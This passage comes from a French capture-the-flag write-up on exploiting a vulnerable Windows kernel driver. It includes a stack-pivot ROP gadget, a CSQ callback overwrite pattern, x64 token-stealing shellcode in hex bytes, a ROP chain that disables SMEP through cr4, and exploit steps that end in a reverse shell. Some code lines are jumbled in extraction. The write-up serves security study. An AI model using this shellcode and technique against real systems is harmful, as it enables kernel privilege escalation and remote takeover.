Une fois que toutes ces opérations sont réalisées, cela nous laisse le champ libre pour écrire les octets après le buffer de données, c’est-à-dire essentiellement les callbacks liés à la Cancel-Safe-Queue initialisée pour le localport courant.
Le code de ReactOS est très pratique pour identifier l’ordre de ces derniers :

La subtilité du patron: Réécrire des callback en aveugle n’est pas la bonne méthode ici pour obtenir une exécution finement contrôlée et surtout l’absence de crash kernel. En effet, dans le thread kernel qui effectue la réécriture des callbacks (“provenant” de NDIS), la fonction IoCsqRemoveNextIrp est appelée par la suite. Or cette fonction ne dispose pas du contexte dans lequel notre shellcode de vol de token est mappé à une adresse accessible. En conséquence il faut viser l’exécution de callbacks différents de ceux appelés par la fonction IoCsqRemoveNextIrp, ailleurs dans un thread utilisateur.
Une idée peut être d’écrire des callbacks CSQ de telle sorte que :
- L’appel à la fonction IoCsqInsertIrp dans le handler de réception lorsqu’aucune donnée n’est disponible active la chaîne de gadgets ;
- L’appel aux fonctions IoCsqRemoveNextIrp appelées notamment juste après la réécriture des callbacks dans un thread kernel différent réussisse mais n’aie aucun effet.
Pour cela, on peut constater que la fonction IoCsqRemoveNextIrp appelle les callbacks CsqAcquireLock
, CsqPeekNextIrp
et CsqReleaseLock
. Si le retour de CsqPeekNextIrp
est nul, aucun autre callback n’est appelé. Ces 3 callbacks doivent donc être des gadgets sans effet autre que de retourner 0.
Quant à la fonction IoCsqInsertIrp, elle appelle les callbacks CsqAcquireLock
, CsqReleaseLock
, CsqInsertIrp
, CsqRemoveIrp
et CsqCompleteCanceledIrp
.
On a donc possibilités à disposition puisque les deux premiers ne peuvent pas être modifiés (ou alors il faudrait faire attention). Cela permet même d’envisager de chaîner des gadgets même si on ne maîtrise pas forcément toutes les modifications des registres faites entre 2 appels de callback.
Cherchons maintenant un gadget capable de désynchroniser RSP vers une valeur contrôlée dans ntoskrnl.exe
. Au moment de l’exécution du callback, rcx
pointe sur le CSQ, c’est-à-dire au niveau de la structure actuelle réécrite et qu’on contrôle.
En voici un parfait :
#0x000000001b5c83: mov rdx, qword ptr [rcx + 0x50]; mov rbp, qword ptr [rcx + 0x18]; mov rsp, qword ptr [rcx + 0x10]; jmp rdx;
Ce gadget suffit à lui seul à réaliser la désynchronisation souhaitée, il faut uniquement s’assurer qu’aucune des valeurs ne rentre en contradiction avec les callbacks qui ne doivent pas être réécris. C’est le cas ici et on peut réécrire la structure CSQ avec le motif suivant (2 étant le champ type du CSQ) :
= [
pattern 2, ('BASE_NTOSKRNL', mov_rdx_rbp_rsp_jmp_rdx),
'TARGET_RSP', ), ('BASE_NTOSKRNL', xor_rax_rax_ret),
('BASE_NTOSKRNL', xor_rax_rax_ret), ('BASE_NTOSKRNL', xor_rax_rax_ret),
('BASE_NTOSKRNL', mov_rdx_rbp_rsp_jmp_rdx), ('BASE_NTOSKRNL', mov_rdx_rbp_rsp_jmp_rdx),
('BASE_NTOSKRNL', mov_rdx_rbp_rsp_jmp_rdx), 0,
('BASE_NTOSKRNL', xor_rax_rax_ret)
( ]
End of the game
“Classique” pour la fin, on reprend le code du premier vol de token en x64 qu’on trouve à portée de main :
= b"\x65\x48\x8B\x04\x25\x88\x01\x00\x00" # mov rax,[gs:0x188] ; Current thread (KTHREAD)
shellcode += b"\x48\x8B\x80\xB8\x00\x00\x00" # mov rax,[rax+0xb8] ; Current process (EPROCESS)
shellcode += b"\x49\x89\xC3" # mov r11,rax ; Copy current process to rbx
shellcode += b"\x4D\x8B\x9B\xE8\x02\x00\x00" # mov r11,[r11+0x2e8] ; ActiveProcessLinks
shellcode += b"\x49\x81\xEB\xE8\x02\x00\x00" # sub r11,0x2e8 ; Go back to current process
shellcode += b"\x49\x8B\x8B\xE0\x02\x00\x00" # mov rcx,[r11+0x2e0] ; UniqueProcessId (PID)
shellcode += b"\x48\x83\xF9\x04" # cmp rcx,byte +0x4 ; Compare PID to SYSTEM PID
shellcode += b"\x75\xE5" # jnz 0x13 ; Loop until SYSTEM PID is found
shellcode += b"\x49\x8B\x8B\x58\x03\x00\x00" # mov rcx,[r11+0x358] ; SYSTEM token is @ offset _EPROCESS + 0x348
shellcode += b"\x80\xE1\xF0" # and cl, 0xf0 ; Clear out _EX_FAST_REF RefCnt
shellcode += b"\x48\x89\x88\x58\x03\x00\x00" # mov [rax+0x358],rcx ; Copy SYSTEM token to current process
shellcode # TODO : set rsp to r12 + ? : so set r11 as gadget is from r11
+= b"\x4D\x8D\x9C\x24\xB0\xFE\xFF\xFF" # lea r11, [r12 - 0x150]
shellcode # TODO : set rcx to its previous value and set cr4 (in rop)
+= b"\x48\xc7\xc1\xf8\x06\x10\x00" # mov rcx, 0x1006f8
shellcode += b"\xC3" # ret ; Done!
shellcode #r12 = 0xfffff2898de1b930
#rsp = 0xfffff2898de1b7e8
#cr4 = 0x1006f8
On mappe une zone exécutable RWX qui contient ce shellcode avant l’exploitation et dont on note l’adresse.
On termine en identifiant d’autres gadgets qui nous permettent de reset le bit de cr4 lié à l’état de SMEP et de sauter sur notre adresse en userland, de remettre cr4 à sa valeur initiale à la fin, et de resynchroniser rsp à sa valeur d’origine une fois le vol de token effectué :
= p64(resolved_pop_rcx_ret) + p64(0x6f8)
mini_rop += p64(resolved_mov_cr4_rcx_ret) + p64(token_steal_userland)
mini_rop += p64(resolved_mov_cr4_rcx_ret) + p64(resolved_mov_rsp_r11_pop_r14_ret)
mini_rop
= p32(0) + p64(resolved_ret) * (0xc00 // 8) # 0 for offset = 0 and avoid crash, then ret sled
payload += mini_rop
payload
+= b'A' * (0x1004 - len(payload))
payload += base_payload payload
Le ret sled nous aide à ne pas avoir besoin de calculer précisément rsp
lors de l’étape de désynchronisation précédente (#partisan du moindre effort).
Exploit final
Voici les étapes de l’exploit final résumées :
- Au préalable on aura obtenu un leak en medium integrity du mapping ntoskrnl.exe (adresses Kernel) et de notre driver netshdw via l’exécution de l’exécutable
leakAdresses.exe
(qui fait un NtQueryprocessInformation sur le handle ntoskernel) ; alternativement on peut “ne pas tricher” en exploitant le leakinfo (mais bon, ça n’est pas considéré comme une security boundary par Microsoft alors bon …) ; - Initialisation du driver et allocation d’un espace mémoire dédié pour les communications avec ce dernier ;
- Allocation d’un espace RWX contenant le premier shellcode d’élévation de privilèges / vol de token, puis notre shellcode reverse-shell userland plus loin ;
- Tentative d’exploitation de la race condition jusqu’à ce qu’on ait un port local et remote en même temps (type & 6 = 6) (cf. back-à-nos-moutons—run-boy-run) ;
- Une fois qu’on obtient ce port, on peut exploiter la confusion de type entre le stockage des buffers à l’envoi, et les buffers à la réception, ainsi on spécifie une taille de 0x2000 dans un buffer d’envoi, ce qui permet de lire 0x2000 de données (au lieu de 0x1000 au maximum normalement) et d’obtenir le leak des adresses de la structure CSQ allouée pour le port local, ainsi qu’un leak de l’adresse du localport ;
- On résout les adresses des différents gadgets nécessaires à la réalisation du stack pivot vers la structure localport ;
- On construit le premier ensemble d’instructions qui vont mener au stack pivot (cf. Gymnastique) ;
- On construit notre ropchain initiale qui désactive smep, et saute sur l’adresse userland contenant le shellcode de vol de token (cf. End of the game), puis jump back côté kernel où le pointeur de pile est remis à sa valeur avant le stack pivot avec un dernier gadget ;
- On écrit ensuite un buffer de taille 0x1000 à l’offset 0 du localport, contenant notre ropchain bourrée de ret (comme un nop sled, sauf qu’ici on rop donc un ret sled, qui permet d’éviter de se prendre la tête plus tard lors du stack pivot) ;
- On exploite à nouveau la confusion de type pour cette fois-ci réécrire les callbacks CSQ ;
- On vide les buffers et on déclenche une lecture dans le vent sur notre localport, qui va ajouter l’IRP à la liste des buffers CSQ en appelant les callbacks CSQ qu’on a modifié ;
- L’exécution de 3 callbacks CSQ successifs conduit à l’exécution du gadget de stack pivot, puis à l’exécution de la ropchain dans le localport, à la désactivation de smep, à l’exécution du shellcode userland de vol de token, à la réactivation de smep puis à la réinitialisation du pointeur de pile à sa valeur d’origine. On finit par exécuter le shellcode de reverse shell (pourquoi faire simple quand on peut faire compliqué), & voilà.
Analyse post-mortem
Rigueur, rigueur, rigueur … Après avoir identifié la faille pour la première fois, et étant convaincu que c’était bien ça, je l’ai mal testée (absence de fermeture du port si l’ouverture réussit mais que l’envoi échoue, et absence de logging qui aurait pu rendre compte du problème) … du coup j’ai pensé que ça n’était pas ça, et perdu 4 jours à aller explorer tous les recoins mal connus du driver.
Un autre point a été la paresse de refaire un setup propre. Multiplié par le nombre d’essais, ça fait vite beaucoup de temps, énormément (à compter au moins 1 minute / 1 minute 30 pour lancer une expérimentation sur le QEMU local, alors que c’est 5 secondes sur l’environnement exposé à distance). Au moment de l’écriture de ce write-up avec les accélérations matérielles activées, et plus de ressources données à qemu (cf. ligne de commande explicitée dans le setup), le problème est résolu (pratique …).
Un très beau challenge malgré tout.